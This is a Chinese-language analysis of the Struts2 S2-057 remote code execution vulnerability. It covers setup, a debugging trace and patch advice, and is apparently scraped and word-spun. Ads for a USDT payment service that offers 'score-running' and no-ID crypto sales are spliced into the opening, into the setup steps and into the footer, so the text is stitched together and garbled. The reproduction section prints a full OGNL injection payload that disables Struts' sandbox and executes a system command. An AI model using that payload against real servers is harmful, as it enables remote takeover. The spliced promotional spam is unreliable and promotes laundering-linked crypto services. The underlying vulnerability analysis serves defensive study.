USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

一、 破绽形貌
当struts.mapper.alwaysSelectFullNamespace设置为true,而且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而发生远程代码执行破绽。

  1. 受影响的系统版本
    Apache Struts 2.3 - Struts 2.3.34
    Apache Struts 2.5 - Struts 2.5.16
    环境搭建
    1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开

    2.首先修改设置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
    "http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
            <result type="redirectAction">
                <param name = "actionName">register2</param>
            </result>
        </action>
    </package>
</struts>

3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

4.添加tomcat之后运行即可

破绽复现
1.接见http://localhost:8081/${(111+111)}/actionChain1.action


2.弹出盘算器

/struts2_showcase_war_exploded/showcase/${(,dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(,ct=,request['struts.valueStack'].context).(,cr=,ct['com.opensymphony.xwork2.ActionContext.container']).(,ou=,cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(,ou.getExcludedPackageNames().clear()).(,ou.getExcludedClasses().clear()).(,ct.setMemberAccess(,dm)).(,cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action


破绽剖析
我主要剖析了两种攻击点一:Redirect action和攻击点二:Postback result为了利便调试我用了/${(111+111)}举行剖析更能展现出ONGL注入时的历程

Redirect action:
1.第一种方式在\struts-2.3.34\src\xwork-core\src\main\ja
va\com\opensymphony\xwork2\DefaultActionInvocation.java, @executeResult()处下断点举行调试


2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java, @execute()

3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java,@getNamespace()可以看到result工具的namespace即为/${(111+111)}。
4.回到execute()
进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java,@getUriFromActionMapping(),跟入handleNamespace()考察若那边理值

5.handleNamespace最终效果如下

6.返回到execute()跟进super.execute()


7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java, @doExecute()
lastFinaLocation 111+111=222 即发生了OGNL注入。

Postback result:
第二种方式
1.先修改struts.actionchaing.xml中内容

2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java, @executeResult()可以看到 这个result工具的处置方式为 postback

3.进入execute(),跟进makePostbackUri


4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java, @getUriFromActionMapping() ,进入handleNamespace()考察处置值过


5.handleNamespace()处置值历程如下

6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java , @makePostbackUri()
可以看到postbackUri为/${(111+111)}/register2.action

7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java, @execute()方式中往下走到super.execute()跟进

8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java, @doExecute()
lastFinaLocation 111+111=222 即发生了OGNL注入。

修复建议

  1. 官方补丁
    现在官方已宣布最新版原本修复此破绽,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.cgi,struts2517。
  2. 手工修复
    修改设置文件:
    牢靠package标签页以及result的param标签页的namespace值,以及阻止使用通配符。
    参考:https://www.freebuf.com/vuls/182101.html
    https://xz.aliyun.com/t/2618,toc-5
今日济南新闻声明:该文看法仅代表作者自己,与今日济南新闻无关。转载请注明:usdt不用实名买入卖出(www.caibao.it):Struts2 s2-057远程代码执行破绽剖析
发布评论

分享到:

usdt法币交易(www.caibao.it):马思纯和周冬雨这对好姐妹真的散了?
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。